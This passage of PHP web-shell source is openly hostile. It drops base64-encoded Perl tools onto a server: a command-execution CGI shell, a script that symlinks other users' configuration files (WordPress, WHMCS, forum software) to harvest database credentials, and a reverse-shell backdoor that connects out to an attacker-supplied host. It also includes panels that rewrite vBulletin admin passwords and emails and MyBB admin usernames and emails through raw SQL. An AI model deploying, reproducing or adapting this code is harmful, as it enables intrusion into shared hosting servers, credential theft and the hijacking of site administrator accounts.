oKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8CgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOwoJfQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UKCXsKCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CgokQWN0aW9uID0gJGlueydhJ307CiRBY3Rpb24gPSAibG9naW4iIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0CgojIGdldCB0aGUgZGlyZWN0b3J5IGluIHdoaWNoIHRoZSBjb21tYW5kcyB3aWxsIGJlIGV4ZWN1dGVkCiRDdXJyZW50RGlyID0gJGlueydkJ307CmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsKCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRwYXNzd29yZDsKCmlmKCRBY3Rpb24gZXEgImxvZ2luIiB8fCAhJExvZ2dlZEluKSAjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpICMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmVXBsb2FkRmlsZTsKfQplbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpICMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUKewoJJkRvd25sb2FkRmlsZTsKfQplbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAjIHVzZXIgd2FudHMgdG8gbG9nb3V0CnsKCSZQZXJmb3JtTG9nb3V0Owp9Cg=='); 
$write = fwrite ($file ,$sa); 
 
$file = fopen($dir."config.sa" ,"w+"); 
$sa=base64_decode('IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOwpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuLXVzIiAvPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4KPHRpdGxlPlt+XSBDeWIzci1EWiBDb25maWcgLSBbfl0gPC90aXRsZT4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KLm5ld1N0eWxlMSB7CiBmb250LWZhbWlseTogVGFob21hOwogZm9udC1zaXplOiB4LXNtYWxsOwogZm9udC13ZWlnaHQ6IGJvbGQ7CiBjb2xvcjogIzAwRkZGRjsKICB0ZXh0LWFsaWduOiBjZW50ZXI7Cn0KPC9zdHlsZT4KPC9oZWFkPgonOwpzdWIgbGlsewogICAgKCR1c2VyKSA9IEBfOwokbXNyID0gcXh7cHdkfTsKJGtvbGE9JG1zci4iLyIuJHVzZXI7CiRrb2xhPX5zL1xuLy9nOyAKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FtZW1iZXIvY29uZmlnLmluYy5waHAnLCRrb2xhLictYW1lbWJlci50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5pbmMucGhwJywka29sYS4nLWFtZW1iZXIyLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWVtYmVycy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1tZW1iZXJzLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJGtvbGEuJzIudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLWZvcnVtLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJGtvbGEuJzQudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLXZiLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy1pbmNsdWRlcy12Yi50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0xNS50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htYzE2LnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htY3MudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnQudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzF3aG1jcy50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHAnLCRrb2xhLictd2htY3MyLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnRzLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudC50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudGVzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudHMudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmcudHh0Jyk7IApzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmcudHh0Jyk7IApzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXkvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictYmlsbGluZy50eHQnKTsgCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teXNob3AvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictYmlsbGluZy50eHQnKTsgCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmcudHh0Jyk7IApzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2VjdXJlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmctc2VjdXJlLnR4dCcpOyAKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLW1hbmFnZS50eHQnKTsgCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hY2NvdW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmctYWNjb3VudC50eHQnKTsgCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZXJ2aWNlcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLWFjY291bnQudHh0Jyk7IApzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXkvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictYmlsbGluZy1teS50eHQnKTsgCn0KaWYgKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgJ1BPU1QnKSB7CiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cn0gZWxzZSB7CiAgJGJ1ZmZlciA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Owp9CkBwYWlycyA9IHNwbGl0KC8mLywgJGJ1ZmZlcik7CmZvcmVhY2ggJHBhaXIgKEBwYWlycykgewogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOwogICRuYW1lID1+IHRyLysvIC87CiAgJG5hbWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsKICAkdmFsdWUgPX4gdHIvKy8gLzsKICAkdmFsdWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsKICAkRk9STXskbmFtZX0gPSAkdmFsdWU7Cn0KaWYgKCRGT1JNe3Bhc3N9IGVxICIiKXsKcHJpbnQgJwo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIiBiZ2NvbG9yPSIjMDAwMDAwIj4KPHA+Q3liM3ItZHogQ29uZmlnIEZ1Y2sgU2NyaXB0PC9wPgo8cD48Zm9udCBjb2xvcj0iI0MwQzBDMCI+WzwvZm9udD4gQ29kZWQgQnkgQ3liM3ItRFogPGZvbnQgY29sb3I9IiNDMEMwQzAiPnw8L2ZvbnQ+IArDj8W+w43CoSDDocK54oKsw5HCjy4gw4XCpsOhwrvigLDDhMWTZcOQwq8gw4/FvsONwqE8c3BhbiBpZD0icmVzdWx0X2JveCIgY2xhc3M9InNob3J0X3RleHQiIGxhbmc9ImVuIj48c3BhbiBzdHlsZSB0aXRsZT4KPGZvbnQgY29sb3I9IiNDMEMwQzAiPnw8L2ZvbnQ+PC9zcGFuPjwvc3Bhbj4gPGEgaHJlZj0iaHR0cDovL3d3dy53d3cuc2VjNGV2ZXIuY29tIj4KPHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZSI+PGZvbnQgY29sb3I9IiMwMEZGMDAiPnd3dy5zZWM0ZXZlci5jb208L2ZvbnQ+PC9zcGFuPjwvYT4gCjxmb250IGNvbG9yPSIjQzBDMEMwIj5dPC9mb250PjwvcD4KPGZvcm0gbWV0aG9kPSJwb3N0Ij4KPHRleHRhcmVhIG5hbWU9InBhc3MiIHN0eWxlPSJib3JkZXI6MXB4IGRvdHRlZCAjMDBGRkZGOyB3aWR0aDogNTQzcHg7IGhlaWdodDogNDIwcHg7IGJhY2tncm91bmQtY29sb3I6IzBDMEMwQzsgZm9udC1mYW1pbHk6VGFob21hOyBmb250LXNpemU6OHB0OyBjb2xvcjojMDBGRkZGIiAgPjwvdGV4dGFyZWE+PGJyIC8+CiZuYnNwOzxwPgo8aW5wdXQgbmFtZT0idGFyIiB0eXBlPSJ0ZXh0IiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwRkZGRjsgd2lkdGg6IDIxMnB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEM7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6IzAwRkZGRjsgIiAgLz48YnIgLz4KJm5ic3A7PC9wPgo8cD4KPGlucHV0IG5hbWU9IlN1Ym1pdDEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdldCBDb25maWciIHN0eWxlPSJib3JkZXI6MXB4IGRvdHRlZCAjMDBGRkZGOyB3aWR0aDogOTk7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjEwcHQ7IGNvbG9yOiMwMEZGRkY7IHRleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTsgaGVpZ2h0OjIzOyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEMiIC8+PC9wPgo8L2Zvcm0+JzsKfWVsc2V7CkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsKJHkgPSBAbGluZXM7Cm9wZW4gKE1ZRklMRSwgIj50YXIudG1wIik7CnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7CmZvciAoJGthPTA7JGthPCR5OyRrYSsrKXsKd2hpbGUoQGxpbmVzWyRrYV0gID1+IG0vKC4qPyk6eDovZyl7CiZsaWwoJDEpOwpwcmludCBNWUZJTEUgJDEuIi50eHQgIjsKZm9yKCRrZD0xOyRrZDwxODska2QrKyl7CnByaW50IE1ZRklMRSAkMS4ka2QuIi50eHQgIjsKfQp9CiB9CnByaW50Jzxib2R5IGNsYXNzPSJuZXdTdHlsZTEiIGJnY29sb3I9IiMwMDAwMDAiPgo8cD5Eb25lICEhPC9wPgo8cD4mbmJzcDs8L3A+JzsKaWYoJEZPUk17dGFyfSBuZSAiIil7Cm9wZW4oSU5GTywgInRhci50bXAiKTsKQGxpbmVzID08SU5GTz4gOwpjbG9zZShJTkZPKTsKc3lzdGVtKEBsaW5lcyk7CnByaW50JzxwPjxhIGhyZWY9IicuJEZPUk17dGFyfS4nLnRhciI+PGZvbnQgY29sb3I9IiMwMEZGMDAiPgo8c3BhbiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiBub25lIj5DbGljayBIZXJlIFRvIERvd25sb2FkIFRhciBGaWxlPC9zcGFuPjwvZm9udD48L2E+PC9wPic7Cn0KfQogcHJpbnQiCjwvYm9keT4KPC9odG1sPiI7Cg=='); 
$write = fwrite ($file ,$sa); 
 
$file = fopen($dir."backdoor.txt" ,"w+"); 
$sa=base64_decode('IyEvdXNyL2Jpbi9wZXJsCnVzZSBJTzo6U29ja2V0OwojICAgUHJpdjggKiogUHJpdjggKiogUHJp 
djgKIyBJUkFOIEhBQ0tFUlMgU0FCT1RBR0UgQ29ubmVjdCBCYWNrIFNoZWxsICAgICAgICAgIAoj 
IGNvZGUgYnk6TG9yRAojIFdlIEFyZSA6TG9yRC1DMGQzci1OVC1ceDkwICAgICAgICAgICAgICAg 
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAojIEVtYWlsOkxvckRAaWhzdGVhbS5jb20KIwoj 
bG9yZEBTbGFja3dhcmVMaW51eDovaG9tZS9wcm9ncmFtaW5nJCBwZXJsIGRjLnBsCiMtLT09IENv 
bm5lY3RCYWNrIEJhY2tkb29yIFNoZWxsIHZzIDEuMCBieSBMb3JEIG9mIElSQU4gSEFDS0VSUyBT 
QUJPVEFHRSA9PS0tCiMKI1VzYWdlOiBkYy5wbCBbSG9zdF0gW1BvcnRdCiMKI0V4OiBkYy5wbCAx 
MjcuMC4wLjEgMjEyMQojbG9yZEBTbGFja3dhcmVMaW51eDovaG9tZS9wcm9ncmFtaW5nJCBwZXJs 
IGRjLnBsIDEyNy4wLjAuMSAyMTIxCiMtLT09IENvbm5lY3RCYWNrIEJhY2tkb29yIFNoZWxsIHZz 
IDEuMCBieSBMb3JEIG9mIElSQU4gSEFDS0VSUyBTQUJPVEFHRSA9PS0tCiMKI1sqXSBSZXNvbHZp 
bmcgSG9zdE5hbWUKI1sqXSBDb25uZWN0aW5nLi4uIDEyNy4wLjAuMQojWypdIFNwYXduaW5nIFNo 
ZWxsCiNbKl0gQ29ubmVjdGVkIHRvIHJlbW90ZSBob3N0CgojYmFzaC0yLjA1YiMgbmMgLXZ2IC1s 
IC1wIDIxMjEKI2xpc3RlbmluZyBvbiBbYW55XSAyMTIxIC4uLgojY29ubmVjdCB0byBbMTI3LjAu 
MC4xXSBmcm9tIGxvY2FsaG9zdCBbMTI3LjAuMC4xXSAzMjc2OQojLS09PSBDb25uZWN0QmFjayBC 
YWNrZG9vciB2cyAxLjAgYnkgTG9yRCBvZiBJUkFOIEhBQ0tFUlMgU0FCT1RBR0UgPT0tLQojCiMt 
LT09U3lzdGVtaW5mbz09LS0KI0xpbnV4IFNsYWNrd2FyZUxpbnV4IDIuNi43ICMxIFNNUCBUaHUg 
RGVjIDIzIDAwOjA1OjM5IElSVCAyMDA0IGk2ODYgdW5rbm93biB1bmtub3duIEdOVS9MaW51eAoj 
CiMtLT09VXNlcmluZm89PS0tCiN1aWQ9MTAwMShsb3JkKSBnaWQ9MTAwKHVzZXJzKSBncm91cHM9 
MTAwKHVzZXJzKQojCiMtLT09RGlyZWN0b3J5PT0tLQojL3Jvb3QKIwojLS09PVNoZWxsPT0tLQoj 
CiRzeXN0ZW0JPSAnL2Jpbi9iYXNoJzsKJEFSR0M9QEFSR1Y7IApwcmludCAiSUhTIEJBQ0stQ09O 
TkVDVCBCQUNLRE9PUlxuXG4iOyAKaWYgKCRBUkdDIT0yKSB7IAogICBwcmludCAiVXNhZ2U6ICQw 
IFtIb3N0XSBbUG9ydF0gXG5cbiI7IAogICBkaWUgIkV4OiAkMCAxMjcuMC4wLjEgMjEyMSBcbiI7 
IAp9IAp1c2UgU29ja2V0OyAKdXNlIEZpbGVIYW5kbGU7IApzb2NrZXQoU09DS0VULCBQRl9JTkVU 
LCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKSBvciBkaWUgcHJpbnQgIlstXSBV 
bmFibGUgdG8gUmVzb2x2ZSBIb3N0XG4iOyAKY29ubmVjdChTT0NLRVQsIHNvY2thZGRyX2luKCRB 
UkdWWzFdLCBpbmV0X2F0b24oJEFSR1ZbMF0pKSkgb3IgZGllIHByaW50ICJbLV0gVW5hYmxlIHRv 
IENvbm5lY3QgSG9zdFxuIjsgCnByaW50ICJbKl0gUmVzb2x2aW5nIEhvc3ROYW1lXG4iOwpwcmlu 
dCAiWypdIENvbm5lY3RpbmcuLi4gJEFSR1ZbMF0gXG4iOyAKcHJpbnQgIlsqXSBTcGF3bmluZyBT 
aGVsbCBcbiI7CnByaW50ICJbKl0gQ29ubmVjdGVkIHRvIHJlbW90ZSBob3N0IFxuIjsKU09DS0VU 
LT5hdXRvZmx1c2goKTsgCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOyAKb3BlbihTVERPVVQsIj4m 
U09DS0VUIik7IApvcGVuKFNUREVSUiwiPiZTT0NLRVQiKTsgCnByaW50ICJJSFMgQkFDSy1DT05O 
RUNUIEJBQ0tET09SICBcblxuIjsgCnN5c3RlbSgidW5zZXQgSElTVEZJTEU7IHVuc2V0IFNBVkVI 
SVNUIDtlY2hvIC0tPT1TeXN0ZW1pbmZvPT0tLSA7IHVuYW1lIC1hO2VjaG87CmVjaG8gLS09PVVz 
ZXJpbmZvPT0tLSA7IGlkO2VjaG87ZWNobyAtLT09RGlyZWN0b3J5PT0tLSA7IHB3ZDtlY2hvOyBl 
Y2hvIC0tPT1TaGVsbD09LS0gIik7IApzeXN0ZW0oJHN5c3RlbSk7CiNFT0Y='); 
$write = fwrite ($file ,$sa); 
 
fclose($file); 
 
chmod($dir."cgi.pl" , 0755); 
chmod($dir."user.sa" , 0755); 
chmod($dir."dz.sa" , 0755); 
//chmod($dir."jeentel" , 0755); 
chmod($dir."config.sa" , 0755); 
 
if ($write) { 
echo '<p align="center">Download Files is Done: <a href="'.$_POST['name_dir_download'].'" target="_blank" style="text-decoration: none">Get in Files ...!</a></p><br><br>'; 
} 
else {echo"\"error\"";} 
 
 
} 
if($_POST['submit_download']){ 
 
download_files($_POST['name_dir_download']); 
 
} 
 
function update() 
{ 
	echo "[+] Update Has D0n3 ^_^"; 
} 
//vBulletin 
if (isset($_POST['vbulletin'])) 
{ 
echo "<center><table border=0 width='100%'> 
<tr><td> 
<center><font face='Arial' color='#000000'>Change vBulletin Info<br>Patch Control Panel : [patch]/admincp<br>Path Config : [patch]/includes/config.php<br>includes/init.php </font> 
<font face='Arial' color='#FF0000'>>></font><font face='Arial' color='#000000'> includes/class_core.php </font> 
<font face='Arial' color='#FF0000'>>></font><font face='Arial' color='#000000'> includes/config.php</font></center> 
    <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhvb size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>DB name<br></font><input value=forums type=text name=dbnvb size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbuvb size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>DB password<br></font><input value=admin type=password name=dbpvb size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>Table prefix<br></font><input value=vb_ type=text name=prvb size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>User admin<br></font><input value=admin type=text name=urvb size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>New password admin<br></font><input value=tiger type=password name=psvb size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>New E-mail admin<br></font><input [email protected] type=text name=emvb size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <input type=submit value='Change' ><br> 
          </form></center></td></tr></table></center>"; 
}else{ 
$dbhvb = $_POST['dbhvb']; 
$dbnvb  = $_POST['dbnvb']; 
$dbuvb = $_POST['dbuvb']; 
$dbpvb  = $_POST['dbpvb']; 
         @mysql_connect($dbhvb,$dbuvb,$dbpvb); 
         @mysql_select_db($dbnvb); 
 
$urvb=str_replace("\'","'",$urvb); 
 
$set_urvb = $_POST['urvb']; 
 
$psvb=str_replace("\'","'",$psvb); 
$pass_vb = $_POST['psvb']; 
 
$emvb=str_replace("\'","'",$emvb); 
$set_emvb = $_POST['emvb']; 
 
$vb_prefix = $_POST['prvb']; 
 
$table_name = $vb_prefix."user" ; 
 
$query = 'select * from ' . $table_name . ' where username="' . $set_urvb . '";'; 
 
$result = mysql_query($query); 
$row = mysql_fetch_array($result); 
$salt = $row['salt']; 
$pass2 = md5($pass_vb); 
$pass =$pass2 . $salt; 
 
$set_pssalt = md5($pass); 
 
$tiger1 = 'UPDATE ' . $table_name . ' SET password="' . $set_pssalt . '" WHERE username="' . $set_urvb . '";'; 
$tiger2 = 'UPDATE ' . $table_name . ' SET email="' . $set_emvb . '" WHERE username="' . $set_urvb . '";'; 
 
$ok1=@mysql_query($tiger1); 
$ok1=@mysql_query($tiger2); 
 
if($ok1){ 
echo "<script>alert('vBulletin Info Changed ;)');</script>"; 
} 
} 
 
//MyBB 
if (isset($_POST['mybb'])) 
{ 
echo "<center><table border=0 width='100%'> 
<tr><td> 
<center><font face='Arial' color='#000000'>Change MyBB Info<br>Patch Control Panel : [patch]/admin<br>Path Config : [patch]/inc/config.php</font></center> 
    <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhmy size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>DB name<br></font><input value=mybb type=text name=dbnmy size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbumy size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>DB password<br></font><input value=admin type=password name=dbpmy size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>Change user admin<br></font><input value=tiger type=text name=urmy size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>Change E-mail admin<br></font><input [email protected] type=text name=emmy size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>Table prefix<br></font><input value=mybb_ type=text name=prmy size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <input type=submit value='Change' ></form></center></td></tr></table></center>"; 
}else{ 
$dbhmy = $_POST['dbhmy']; 
$dbnmy  = $_POST['dbnmy']; 
$dbumy = $_POST['dbumy']; 
$dbpmy  = $_POST['dbpmy']; 
         @mysql_connect($dbhmy,$dbumy,$dbpmy); 
         @mysql_select_db($dbnmy); 
 
$urmy=str_replace("\'","'",$urmy); 
$set_urmy = $_POST['urmy']; 
 
$emmy=str_replace("\'","'",$emmy); 
$set_emmy = $_POST['emmy']; 
 
$my_prefix = $_POST['prmy']; 
 
$table_name1 = $my_prefix."users" ; 
 
$tiger3 = "UPDATE $table_name1 SET username ='".$set_urmy."' WHERE uid ='1'"; 
$tiger4 = "UPDATE $table_name1 SET email ='".$set_emmy."' WHERE uid ='1'"; 
 
$ok2=@mysql_query($tiger3); 
$ok2=@mysql_query($tiger4); 
 
if($ok2){ 
echo "<script>alert('MyBB Info Changed ;)');</script>"; 
} 
} 
 
//phpBB 
if (isset($_POST['phpbb'])) 
{ 
echo "<center><table border=0 width='100%'> 
<tr><td> 
<center><font face='Arial' color='#000000'>Change phpBB Info<br>Patch Control Panel : [patch]/adm<br>Path Config : [patch]/config.php</font></center> 
    <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhphp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>DB name<br></font><input value=phpbb type=text name=dbnphp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
